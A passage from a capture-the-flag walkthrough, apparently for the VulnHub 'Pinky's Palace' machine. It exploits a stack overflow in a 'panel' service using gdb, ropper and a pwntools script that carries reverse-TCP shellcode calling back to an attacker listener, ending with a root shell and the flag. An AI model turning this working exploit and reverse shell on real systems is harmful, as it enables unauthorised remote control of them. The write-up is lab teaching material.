p = remote(HOST,PORT)
p.recvuntil(b'=> ')
p.sendline(payload)
print(p.recvall().decode())
Now we’ll run the exploit and open the core dump in gdb
:
(ori0n@apophis) --> [ ~/pinky ]
==> $ ./exp.py
[+] Opening connection to localhost on port 31337: Done
[+] Receiving all data: Done (1.00KB)
[*] Closed connection to localhost port 31337
\x00aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaa
raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaa
aaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaa
accaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaact
aaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaa
aaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaa
eeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaeva
aaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
(ori0n@apophis) --> [ ~/pinky ]
==> $ coredumpctl list panel
Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal', 'wheel' can see all messages.
Pass -q to turn off this notice.
TIME PID UID GID SIG COREFILE EXE SIZE
Sat 2022-01-29 21:19:26 CST 297769 1002 1006 SIGSEGV present /home/ori0n/pinky/files/panel 19.0K
(ori0n@apophis) --> [ ~/pinky ]
==> $ coredumpctl debug panel
Once inside gdb
, run info reg
to dump the register values:
(gdb) info reg
rax 0x401 1025
rbx 0x400b90 4197264
rcx 0x7fdbbad67c10 140581709184016
rdx 0x401 1025
rsi 0x7ffc5eaa80c0 140721896718528
rdi 0x4 4
rbp 0x616161616161616f 0x616161616161616f
rsp 0x7ffc5eaa8138 0x7ffc5eaa8138
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0x246 582
r12 0x400840 4196416
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x4009aa 0x4009aa <handlecmd+70>
eflags 0x10203 [ CF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
Notice rbp
: 0x616161616161616f
. Translating to ASCII and accounting for endianess, we get paaaaaaa
. With print(cyclic_find('paaaaaaa',n=8))
we find the offset to RIP
to be 120. This means we have room to cleanly inject up to 120 bytes of shellcode onto the stack. A quick search locates a good candidate on shell-storm:
/*
Title : reversetcpbindshell (118 bytes)
Date : 04 October 2013
Author : Russell Willis <codinguy@gmail.com>
Testd on: Linux/x86_64 (SMP Debian 3.2.46-1+deb7u1 x86_64 GNU/Linux)
$ objdump -D reversetcpbindshell -M intel
reversetcpbindshell: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 48 31 ff xor rdi,rdi
400086: 48 31 f6 xor rsi,rsi
400089: 48 31 d2 xor rdx,rdx
40008c: 4d 31 c0 xor r8,r8
40008f: 6a 02 push 0x2
400091: 5f pop rdi
400092: 6a 01 push 0x1
400094: 5e pop rsi
400095: 6a 06 push 0x6
400097: 5a pop rdx
400098: 6a 29 push 0x29
40009a: 58 pop rax
40009b: 0f 05 syscall
40009d: 49 89 c0 mov r8,rax
4000a0: 48 31 f6 xor rsi,rsi
4000a3: 4d 31 d2 xor r10,r10
4000a6: 41 52 push r10
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
4000ba: 04
4000bb: 48 89 e6 mov rsi,rsp
4000be: 6a 10 push 0x10
4000c0: 5a pop rdx
4000c1: 41 50 push r8
4000c3: 5f pop rdi
4000c4: 6a 2a push 0x2a
4000c6: 58 pop rax
4000c7: 0f 05 syscall
4000c9: 48 31 f6 xor rsi,rsi
4000cc: 6a 03 push 0x3
4000ce: 5e pop rsi
00000000004000cf <doop>:
4000cf: 48 ff ce dec rsi
4000d2: 6a 21 push 0x21
4000d4: 58 pop rax
4000d5: 0f 05 syscall
4000d7: 75 f6 jne 4000cf <doop>
4000d9: 48 31 ff xor rdi,rdi
4000dc: 57 push rdi
4000dd: 57 push rdi
4000de: 5e pop rsi
4000df: 5a pop rdx
4000e0: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
4000e7: 2f 73 68
4000ea: 48 c1 ef 08 shr rdi,0x8
4000ee: 57 push rdi 4000ef: 54 push rsp
4000f0: 5f pop rdi
4000f1: 6a 3b push 0x3b
4000f3: 58 pop rax
4000f4: 0f 05 syscall
Code not is not optimal, this is left as an exercise to the reader ;^)
*/
#include <stdio.h>
#define IPADDR "\xc0\x80\x10\x0a" /* 192.168.1.10 */
#define PORT "\x7a\x69" /* 31337 */
unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
"\x02"PORT"\xc7\x44\x24\x04"IPADDR"\x48\x89\xe6\x6a\x10"
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
"\x5f\x6a\x3b\x58\x0f\x05";
int
main(void)
{
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}
We can convert the shellcode to Python and add it to our script at the beginning of our payload, but it will only work if we can return to the top of the stack, RSP
. We can use ropper
to search for a useful gadget:
(ori0n@apophis) --> [ ~/pinky ]
==> $ ropper -f files/panel -j rsp
JMP Instructions
================
0x0000000000400cfb: call rsp;
1 gadgets found
Beautiful! Now we can complete the exploit script:
#!/usr/bin/env python3
from pwn import *
HOST = 'pinkydb'
RPORT = 31337
LPORT = 4444
LHOST = '192.168.194.128'
# Shellcode from: [http://shell-storm.org/shellcode/files/shellcode-857.php]
# Converted from C to Python
IPADDR = socket.inet_aton(LHOST)
PORT = p16(LPORT, endian='big')
SHELLCODE = b''.join([
b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
b"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0"
b"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24"
b"\x02",
PORT,
b"\xc7\x44\x24\x04",
IPADDR,
b"\x48\x89\xe6\x6a\x10"
b"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48"
b"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a"
b"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54"
b"\x5f\x6a\x3b\x58\x0f\x05"
])
# Create our filler
de_bruijn = cyclic(length=0x400,n=8)
JUNK_LEN = cyclic_find('paaaaaaa',n=8)
print(JUNK_LEN)
JUNK = b'X' * (JUNK_LEN - len(SHELLCODE))
# CALL RSP
RET = p64(0x0400cfb)
# Putting it all together
payload = b''.join([
SHELLCODE,
JUNK,
RET
])
# And do the thang
p = remote(HOST,RPORT)
p.recvuntil(b'=> ')
p.sendline(payload)
Fire up our listener, and run the exploit.
ori0n@apophis:~/pinky$ ncat -nlkvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.194.1.
Ncat: Connection from 192.168.194.1:49316.
id
uid=0(root) gid=0(root) groups=0(root)
Bingo! All that’s left to do is capture the flag:
cd /root
ls
root.txt
cat root.txt
____ _ _ _
| _ \(_)_ __ | | ___ _( )___
| |_) | | '_ \| |/ / | | |// __|
| __/| | | | | <| |_| | \__ \
|_| |_|_| |_|_|\_\\__, | |___/
|___/
____ _
| _ \ __ _| | __ _ ___ ___
| |_) / _` | |/ _` |/ __/ _ \
| __/ (_| | | (_| | (_| __/
|_| \__,_|_|\__,_|\___\___|
[+] CONGRATS YOUVE PWND PINKYS PALACE!!!!!!
[+] Flag: 2208f787fcc6433b4798d2189af7424d
[+] Twitter: @Pink_P4nther
[+] Cheers to VulnHub!
[+] VM Host: VMware
[+] Type: CTF || [Realistic]
[+] Hopefully you enjoyed this and gained something from it as well!!!
2 COMMENTS